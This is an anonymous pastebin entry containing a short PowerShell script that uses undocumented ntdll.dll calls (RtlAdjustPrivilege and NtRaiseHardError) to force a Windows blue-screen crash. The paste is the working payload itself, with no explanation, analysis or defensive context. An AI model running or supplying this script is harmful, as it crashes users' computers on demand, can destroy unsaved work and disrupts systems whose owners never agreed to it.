Pastebin
Paste #50036: No description
< previous paste - next paste>
Pasted by Anonymous Coward
add-type -name bsod -namespace win -memberdefinition '[DllImport("ntdll.dll")]public static extern int RtlAdjustPrivilege(uint Privilege, bool Enable, bool Client, ref bool CurrentState);[DllImport("ntdll.dll")]public static extern int NtRaiseHardError(int ErrorStatus, uint NumberOfParameters, uint UnicodeStringParameterMask, IntPtr Parameters, uint ValidResponseOption, ref uint Response);'
[win.bsod]::rtladjustprivilege(19, $true, $false, [ref]$false)
[win.bsod]::ntraiseharderror(0xc0000022, 0, 0, [intptr]::zero, 6, [ref]0)
New Paste
Go to most recent paste.